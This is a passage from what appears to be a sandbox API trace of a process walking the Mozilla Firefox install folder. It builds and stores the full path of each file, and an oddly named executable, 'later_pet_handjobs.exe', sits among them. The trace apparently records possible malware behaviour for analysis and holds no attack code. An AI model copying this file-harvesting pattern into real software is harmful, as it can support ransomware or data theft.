lpString2="..") returned 1 [0040.154] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.154] lstrlenW (lpString="crashreporter.exe") returned 17 [0040.154] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0040.154] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned 56 [0040.154] lstrcpyW (in: lpString1=0x5e3f98, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0040.154] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.154] lstrcmpW (lpString1="crashreporter.ini", lpString2=".") returned 1 [0040.154] lstrcmpW (lpString1="crashreporter.ini", lpString2="..") returned 1 [0040.154] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.154] lstrlenW (lpString="crashreporter.ini") returned 17 [0040.154] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0040.154] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned 56 [0040.154] lstrcpyW (in: lpString1=0x5e4018, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0040.154] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.154] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2=".") returned 1 [0040.154] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2="..") returned 1 [0040.154] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.154] lstrlenW (lpString="D3DCompiler_43.dll") returned 18 [0040.154] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0040.154] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned 57 [0040.154] lstrcpyW (in: lpString1=0x5e4098, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0040.154] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.154] lstrcmpW (lpString1="defaults", lpString2=".") returned 1 [0040.154] lstrcmpW (lpString1="defaults", lpString2="..") returned 1 [0040.154] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.154] lstrlenW (lpString="defaults") returned 8 [0040.154] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="defaults" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults" [0040.154] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\" [0040.154] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0040.154] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*" [0040.154] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.154] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.154] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.154] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.154] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.154] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.154] lstrcmpW (lpString1="pref", lpString2=".") returned 1 [0040.154] lstrcmpW (lpString1="pref", lpString2="..") returned 1 [0040.154] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0040.154] lstrlenW (lpString="pref") returned 4 [0040.155] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="pref" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" [0040.155] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.155] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.155] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.155] lstrcmpW (lpString1="dependentlibs.list", lpString2=".") returned 1 [0040.155] lstrcmpW (lpString1="dependentlibs.list", lpString2="..") returned 1 [0040.155] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.155] lstrlenW (lpString="dependentlibs.list") returned 18 [0040.155] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0040.155] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned 57 [0040.155] lstrcpyW (in: lpString1=0x5e4118, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0040.155] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.155] lstrcmpW (lpString1="dictionaries", lpString2=".") returned 1 [0040.155] lstrcmpW (lpString1="dictionaries", lpString2="..") returned 1 [0040.155] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.155] lstrlenW (lpString="dictionaries") returned 12 [0040.155] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dictionaries" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" [0040.155] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\" [0040.155] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0040.155] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*" [0040.155] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.155] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.155] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.155] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.155] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.155] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.155] lstrcmpW (lpString1="en-US.aff", lpString2=".") returned 1 [0040.155] lstrcmpW (lpString1="en-US.aff", lpString2="..") returned 1 [0040.155] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0040.155] lstrlenW (lpString="en-US.aff") returned 9 [0040.155] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0040.155] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned 61 [0040.155] lstrcpyW (in: lpString1=0x5e2028, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0040.155] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.155] lstrcmpW (lpString1="en-US.dic", lpString2=".") returned 1 [0040.155] lstrcmpW (lpString1="en-US.dic", lpString2="..") returned 1 [0040.155] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0040.155] lstrlenW (lpString="en-US.dic") returned 9 [0040.155] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0040.155] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned 61 [0040.155] lstrcpyW (in: lpString1=0x5e20b0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0040.155] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.155] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.155] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.156] lstrcmpW (lpString1="firefox.exe", lpString2=".") returned 1 [0040.156] lstrcmpW (lpString1="firefox.exe", lpString2="..") returned 1 [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.156] lstrlenW (lpString="firefox.exe") returned 11 [0040.156] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0040.156] lstrcpyW (in: lpString1=0x5e4198, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0040.156] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.156] lstrcmpW (lpString1="freebl3.chk", lpString2=".") returned 1 [0040.156] lstrcmpW (lpString1="freebl3.chk", lpString2="..") returned 1 [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.156] lstrlenW (lpString="freebl3.chk") returned 11 [0040.156] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned 50 [0040.156] lstrcpyW (in: lpString1=0x5e4208, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0040.156] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.156] lstrcmpW (lpString1="freebl3.dll", lpString2=".") returned 1 [0040.156] lstrcmpW (lpString1="freebl3.dll", lpString2="..") returned 1 [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.156] lstrlenW (lpString="freebl3.dll") returned 11 [0040.156] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned 50 [0040.156] lstrcpyW (in: lpString1=0x5e4278, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0040.156] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.156] lstrcmpW (lpString1="gkmedias.dll", lpString2=".") returned 1 [0040.156] lstrcmpW (lpString1="gkmedias.dll", lpString2="..") returned 1 [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.156] lstrlenW (lpString="gkmedias.dll") returned 12 [0040.156] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned 51 [0040.156] lstrcpyW (in: lpString1=0x5e42e8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0040.156] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.156] lstrcmpW (lpString1="install.log", lpString2=".") returned 1 [0040.156] lstrcmpW (lpString1="install.log", lpString2="..") returned 1 [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.156] lstrlenW (lpString="install.log") returned 11 [0040.156] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned 50 [0040.156] lstrcpyW (in: lpString1=0x5e4358, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0040.156] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.156] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2=".") returned 1 [0040.156] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2="..") returned 1 [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.156] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0040.156] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0040.156] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned 61 [0040.156] lstrcpyW (in: lpString1=0x5e2138, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0040.156] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.156] lstrcmpW (lpString1="libEGL.dll", lpString2=".") returned 1 [0040.156] lstrcmpW (lpString1="libEGL.dll", lpString2="..") returned 1 [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.157] lstrlenW (lpString="libEGL.dll") returned 10 [0040.157] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned 49 [0040.157] lstrcpyW (in: lpString1=0x5e43c8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0040.157] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.157] lstrcmpW (lpString1="libGLESv2.dll", lpString2=".") returned 1 [0040.157] lstrcmpW (lpString1="libGLESv2.dll", lpString2="..") returned 1 [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.157] lstrlenW (lpString="libGLESv2.dll") returned 13 [0040.157] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned 52 [0040.157] lstrcpyW (in: lpString1=0x5e09c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0040.157] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.157] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0040.157] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.157] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0040.157] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned 61 [0040.157] lstrcpyW (in: lpString1=0x5e21c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0040.157] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.157] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2=".") returned 1 [0040.157] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2="..") returned 1 [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.157] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32 [0040.157] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned 71 [0040.157] lstrcpyW (in: lpString1=0x5e4438, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0040.157] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.157] lstrcmpW (lpString1="mozalloc.dll", lpString2=".") returned 1 [0040.157] lstrcmpW (lpString1="mozalloc.dll", lpString2="..") returned 1 [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.157] lstrlenW (lpString="mozalloc.dll") returned 12 [0040.157] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned 51 [0040.157] lstrcpyW (in: lpString1=0x5e44d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0040.157] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.157] lstrcmpW (lpString1="mozglue.dll", lpString2=".") returned 1 [0040.157] lstrcmpW (lpString1="mozglue.dll", lpString2="..") returned 1 [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.157] lstrlenW (lpString="mozglue.dll") returned 11 [0040.157] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned 50 [0040.157] lstrcpyW (in: lpString1=0x5e4540, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0040.157] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.157] lstrcmpW (lpString1="mozjs.dll", lpString2=".") returned 1 [0040.157] lstrcmpW (lpString1="mozjs.dll", lpString2="..") returned 1 [0040.157] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.157] lstrlenW (lpString="mozjs.dll") returned 9 [0040.157] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned 48 [0040.158] lstrcpyW (in: lpString1=0x5e45c8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0040.158] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.158] lstrcmpW (lpString1="msvcp100.dll", lpString2=".") returned 1 [0040.158] lstrcmpW (lpString1="msvcp100.dll", lpString2="..") returned 1 [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.158] lstrlenW (lpString="msvcp100.dll") returned 12 [0040.158] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned 51 [0040.158] lstrcpyW (in: lpString1=0x5e4638, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0040.158] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.158] lstrcmpW (lpString1="msvcr100.dll", lpString2=".") returned 1 [0040.158] lstrcmpW (lpString1="msvcr100.dll", lpString2="..") returned 1 [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.158] lstrlenW (lpString="msvcr100.dll") returned 12 [0040.158] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned 51 [0040.158] lstrcpyW (in: lpString1=0x5e46a8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0040.158] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.158] lstrcmpW (lpString1="nss3.dll", lpString2=".") returned 1 [0040.158] lstrcmpW (lpString1="nss3.dll", lpString2="..") returned 1 [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0040.158] lstrlenW (lpString="nss3.dll") returned 8 [0040.158] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0040.158] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 47 [0040.158] lstrcpyW (in: lpString1=0x5e55b0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0040.158] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.158] lstrcmpW (lpString1="nssckbi.dll", lpString2=".") returned 1 [0040.158] lstrcmpW (lpString1="nssckbi.dll", 